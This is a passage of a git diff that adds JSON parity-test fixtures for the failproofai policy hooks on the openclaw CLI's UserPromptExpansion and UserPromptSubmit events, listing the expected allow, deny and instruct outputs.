"UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..ff85cdc4 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..4924aad1 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..a0edb4b0 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/UserPromptExpansion/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/UserPromptExpansion/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..944a941f --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/UserPromptExpansion/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/UserPromptExpansion/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/UserPromptExpansion/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..11598f22 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/UserPromptExpansion/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/UserPromptExpansion/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/UserPromptExpansion/deny__tool-present__one-policy.json new file mode 100644 index 00000000..4f478293 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/UserPromptExpansion/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/UserPromptExpansion/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/UserPromptExpansion/deny__tool-present__two-policies.json new file mode 100644 index 00000000..12f11989 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/UserPromptExpansion/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/UserPromptExpansion/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/UserPromptExpansion/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..dd2f720a --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/UserPromptExpansion/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/UserPromptExpansion/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/UserPromptExpansion/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..a36196b0 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/UserPromptExpansion/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/UserPromptExpansion/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/UserPromptExpansion/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..70131837 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/UserPromptExpansion/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/UserPromptExpansion/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/UserPromptExpansion/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..8800ce5d --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/UserPromptExpansion/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/UserPromptSubmit/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/UserPromptSubmit/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..35fe4026 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/UserPromptSubmit/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/UserPromptSubmit/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/UserPromptSubmit/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..99ba9a9b --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/UserPromptSubmit/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/UserPromptSubmit/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/UserPromptSubmit/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..c8e2c8d8 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/UserPromptSubmit/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/UserPromptSubmit/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/UserPromptSubmit/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..2b57bb3a --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/UserPromptSubmit/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..fa50ec0d --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..d318a497 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] 